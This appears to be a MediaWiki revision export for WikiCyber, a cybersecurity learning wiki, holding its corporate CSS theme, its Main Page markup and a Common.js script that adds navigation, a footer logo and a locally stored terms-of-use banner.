.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card>a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner>div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal>div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url('/images/branding/theme-v1/wikicyber-mark-135.svg') center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url('/images/branding/theme-v1/icon-systems.svg')}.skin-vector-2022 .wc-diagram-network{background-image:url('/images/branding/theme-v1/icon-network.svg')}.skin-vector-2022 .wc-diagram-forensics{background-image:url('/images/branding/theme-v1/icon-forensics.svg')}
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}

.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}
.skin-vector-2022 .enterprise-hero:after{content:'';position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}
.skin-vector-2022 .art-heading img{width:34px;height:34px}
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}
.skin-vector-2022 .art-branches:before{content:'';position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}
.skin-vector-2022 .art-branches>div{position:relative;padding-top:22px;text-align:center}
.skin-vector-2022 .art-branches>div:before{content:'';width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}
.skin-vector-2022 .knowledge-strip-inner>div{display:flex;gap:35px;flex-wrap:wrap}
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}
.skin-vector-2022 .enterprise-feature .terminal>div{padding:15px 20px}
.skin-vector-2022 .enterprise-feature .terminal>div span{font-size:11px}
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}
.skin-vector-2022 .home-section #search-status:empty{display:none}
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}
.skin-vector-2022 .corporate-nav{gap:17px}
.skin-vector-2022 .brand{min-width:220px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .brand small{font-size:9px}
.skin-vector-2022 .search{max-width:240px}
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}
.skin-vector-2022 .enterprise-hero h1{font-size:53px}
.skin-vector-2022 .hero-art{padding:22px}
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}
.skin-vector-2022 .home-section .topic-card{min-height:270px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:25px}
}
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}
.skin-vector-2022 .section-description{max-width:580px}
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}
.skin-vector-2022 .contribution-section h2{max-width:none}
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}
}
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}
.skin-vector-2022 .brand{min-width:0}
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}
.skin-vector-2022 .layout{display:block;padding:0 20px}
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}
.skin-vector-2022 .page-toolbar>div{gap:20px;white-space:nowrap}
.skin-vector-2022 .page-toolbar a{font-size:11px}
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}
.skin-vector-2022 .home-section{padding:50px 25px}
.skin-vector-2022 .home-section h2{font-size:32px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}
.skin-vector-2022 .enterprise-feature h2{font-size:32px}
.skin-vector-2022 .contribution-section h2{font-size:29px}
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:12px 22px}
.skin-vector-2022 .hero-art{padding:24px}
.skin-vector-2022 .article-heading h1{font-size:34px}
}
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}
.skin-vector-2022 .home-section .topic-card{min-height:245px}
.skin-vector-2022 .enterprise-hero h1{font-size:40px}
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}
.skin-vector-2022 .art-core{padding:18px}
.skin-vector-2022 .art-core strong{font-size:22px}
.skin-vector-2022 .art-footer{font-size:9px}
.skin-vector-2022 .art-branches{gap:8px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:13px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}
}
.skin-vector-2022 .enterprise-hero-inner>div,.skin-vector-2022 .enterprise-feature-inner>div,.skin-vector-2022 .contribution-section>div{min-width:0}
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url('/images/branding/theme-v1/hero.jpg');background-size:cover;background-position:center 48%}
.skin-vector-2022 .enterprise-hero:after{background:none}
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url('/images/branding/theme-v1/hero.jpg')}
}

/* END WikiCyber corporate v1 */

MediaWiki:Common.css

2026-10-16T20:14:56Z

AdminUser: Deploy approved WikiCyber corporate theme

/* BEGIN WikiCyber homepage v1 */
/* WikiCyber homepage v1. All rules are scoped to Main Page; no global theme changes. */
body.page-Main_Page .wc-home {
--wc-surface: var(--background-color-base, #fff);
--wc-text: var(--color-base, #202c3b);
--wc-muted: var(--color-subtle, #647184);
--wc-line: var(--border-color-subtle, #dfe5ed);
--wc-blue: #2855b2;
--wc-green: #24783a;
--wc-tint: #eef3fc;
--wc-green-tint: #edf7ef;
color: var(--wc-text);
font-family: Arial, Helvetica, sans-serif;
line-height: 1.8;
}
body.page-Main_Page .wc-home h1,
body.page-Main_Page .wc-home h2,
body.page-Main_Page .wc-home h3 { font-family: inherit; color: var(--wc-text); border: 0; padding: 0; line-height: 1.25; letter-spacing: -.025em; overflow: visible; }
body.page-Main_Page .wc-home .mw-heading { border: 0; margin: 0; }
body.page-Main_Page .wc-home .mw-editsection { display: none; }
body.page-Main_Page .wc-home a { color: var(--wc-blue); }
body.page-Main_Page .wc-home a:focus-visible { outline: 3px solid var(--wc-blue); outline-offset: 4px; }
body.page-Main_Page .wc-hero { border: 1px solid var(--wc-line); border-radius: 10px; padding: 40px 36px 0; background: radial-gradient(ellipse at 100% 0%, var(--wc-green-tint), transparent 65%), var(--wc-surface); }
body.page-Main_Page .wc-hero h1 { font-size: clamp(32px, 4vw, 49px); margin: 0 0 22px; font-weight: 750; letter-spacing: -1.5px; }
body.page-Main_Page .wc-hero h1 span { color: var(--wc-blue); }
body.page-Main_Page .wc-intro { max-width: 570px; color: var(--wc-muted); font-size: 15px; }
body.page-Main_Page .wc-actions { display: flex; align-items: center; gap: 22px; flex-wrap: wrap; margin: 26px 0 32px; font-size: 12px; font-weight: bold; }
body.page-Main_Page .wc-actions p { display: contents; }
body.page-Main_Page .wc-primary { display: inline-block; background: #2855b2; color: #fff; padding: 11px 17px; border-radius: 5px; }
body.page-Main_Page .wc-actions a:hover .wc-primary { background: #214a9d; }
body.page-Main_Page .wc-values { border-top: 1px solid var(--wc-line); padding: 15px 0; display: flex; gap: 24px; flex-wrap: wrap; font-size: 11px; color: var(--wc-muted); }
body.page-Main_Page .wc-values p { display: contents; }
body.page-Main_Page .wc-topics { padding-top: 32px; scroll-margin-top: 25px; }
body.page-Main_Page .wc-home .wc-eyebrow { color: var(--wc-muted); font-size: 10px; font-weight: bold; letter-spacing: 1.7px; margin: 0 0 9px; }
body.page-Main_Page .wc-home h2 { margin: 0 0 20px; font-size: 26px; }
body.page-Main_Page .wc-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 15px; }
body.page-Main_Page .wc-card { display: flex; flex-direction: column; padding: 24px; border: 1px solid var(--wc-line); border-radius: 8px; background: var(--wc-surface); transition: border-color .15s; }
body.page-Main_Page .wc-card:hover { border-color: var(--wc-blue); }
body.page-Main_Page .wc-card h3 { margin: 17px 0 10px; font-size: 20px; }
body.page-Main_Page .wc-card h3 a { color: var(--wc-text); }
body.page-Main_Page .wc-card p { color: var(--wc-muted); font-size: 13px; margin: 0 0 15px; }
body.page-Main_Page .wc-icon { display: inline-grid; place-items: center; width: 37px; height: 37px; border-radius: 8px; font: bold 22px monospace; }
body.page-Main_Page .wc-blue { color: var(--wc-blue); background: var(--wc-tint); }
body.page-Main_Page .wc-green { color: var(--wc-green); background: var(--wc-green-tint); }
body.page-Main_Page .wc-card-link { margin-top: auto; padding-top: 8px; font-size: 12px; font-weight: bold; }
body.page-Main_Page .wc-feature { display: grid; grid-template-columns: 1fr 1fr; gap: 28px; align-items: center; margin: 32px 0; padding: 28px 0; border-top: 1px solid var(--wc-line); border-bottom: 1px solid var(--wc-line); }
body.page-Main_Page .wc-feature h2 { font-size: 24px; margin-bottom: 12px; }
body.page-Main_Page .wc-feature p:not(.wc-eyebrow) { font-size: 13px; color: var(--wc-muted); }
body.page-Main_Page .wc-feature a,
body.page-Main_Page .wc-contribute a { font-size: 12px; font-weight: bold; }
body.page-Main_Page .wc-terminal { min-width: 0; background: #142335; color: #e4eef7; border-radius: 8px; overflow: hidden; }
body.page-Main_Page .wc-terminal-label { padding: 10px 18px; color: #b2c1cf; border-bottom: 1px solid #ffffff26; font-size: 10px; }
body.page-Main_Page .wc-terminal pre { background: transparent; color: inherit; border: 0; padding: 20px 18px; margin: 0; font: 11px/2 monospace; overflow-x: auto; }
body.page-Main_Page .wc-contribute h2 { font-size: 21px; margin-bottom: 10px; }
body.page-Main_Page .wc-contribute p { color: var(--wc-muted); font-size: 13px; }
html.skin-theme-clientpref-night body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }
@media (prefers-color-scheme: dark) {
html.skin-theme-clientpref-os body.page-Main_Page .wc-home { --wc-blue: #91b5ff; --wc-green: #8ed29d; --wc-tint: #20324d; --wc-green-tint: #203b2a; }
}
@media (min-width: 1500px) { body.page-Main_Page .wc-grid { grid-template-columns: repeat(4, minmax(0, 1fr)); } }
@media (max-width: 700px) {
body.page-Main_Page .wc-hero { padding: 28px 22px 0; }
body.page-Main_Page .wc-hero h1 { font-size: 34px; }
body.page-Main_Page .wc-feature { grid-template-columns: 1fr; gap: 18px; }
body.page-Main_Page .wc-values { gap: 12px; font-size: 10px; }
body.page-Main_Page .wc-card { padding: 21px; }
}
@media (max-width: 480px) { body.page-Main_Page .wc-grid { grid-template-columns: 1fr; } }
@media (prefers-reduced-motion: reduce) { body.page-Main_Page .wc-card { transition: none; } }

/* END WikiCyber homepage v1 */

Main Page

2026-10-16T20:14:55Z

AdminUser: Deploy approved WikiCyber corporate theme

__NOTOC__
<div class="wc-home">
<div class="wc-hero">
<h1>Understand systems.<br /><span>Build your defenses.</span></h1>
<p class="wc-intro">A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.</p>
<div class="wc-actions">[[#wc-topics|<span class="wc-primary">Explore the knowledge base →</span>]] [[Special:AllPages|Browse articles ↗]]</div>
<div class="wc-values"><span>✓ Open knowledge</span><span>✓ Practical guidance</span><span>✓ Community contributions</span></div>
</div>
<div class="wc-topics" id="wc-topics">
<p class="wc-eyebrow">FIND YOUR STARTING POINT</p>
<h2>Explore by topic</h2>
<div class="wc-grid">
<div class="wc-card"><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p><div class="wc-card-link">[[:Category:Windows|Explore Windows →]]</div></div>
<div class="wc-card"><h3>[[:Category:Linux|Linux]]</h3><p>Understand permissions, audit services, and get comfortable at the command line.</p><div class="wc-card-link">[[:Category:Linux|Explore Linux →]]</div></div>
<div class="wc-card"><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Connect the concepts behind networks, from the OSI model to device security.</p><div class="wc-card-link">[[:Category:Cisco|Explore networking →]]</div></div>
<div class="wc-card"><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Follow the evidence through event logs, system artifacts, and careful analysis.</p><div class="wc-card-link">[[:Category:Windows Forensics|Explore forensics →]]</div></div>
</div>
</div>
<div class="wc-feature">
<div><p class="wc-eyebrow">A CLOSER LOOK</p><h2>Start with the evidence.</h2><p>Explore forensic concepts and learn how system artifacts can help explain what happened.</p>[[:Category:Windows Forensics|Explore the forensics collection →]]</div>
<div class="wc-terminal"><div class="wc-terminal-label">linux</div><pre># Establish a starting point
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div>
</div>
<div class="wc-contribute"><h2>Good knowledge grows together.</h2><p>WikiCyber articles are written by invited contributors and published through a review workflow.</p>[[Help:Your first article|Writing your first article →]]</div>
</div>

MediaWiki:Common.js

2026-10-16T20:14:55Z

AdminUser: Deploy approved WikiCyber corporate theme

MediaWiki:Common.js

2026-10-16T20:14:52Z

AdminUser: Deploy approved WikiCyber corporate theme

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = document.createElement('li');
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var reset = document.createElement('button'); reset.type = 'button'; reset.className = 'wc-terms-reset'; reset.textContent = 'Terms & cookies';
var footer = document.querySelector('#footer'); if (footer) footer.append(reset);
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });
reset.addEventListener('click', function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });
});
});

/* END WikiCyber corporate v1 */

Main Page

2026-10-16T20:14:52Z

AdminUser: Deploy approved WikiCyber corporate theme

MediaWiki:Common.css

2026-10-16T20:14:51Z

AdminUser: Deploy approved WikiCyber corporate theme

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}
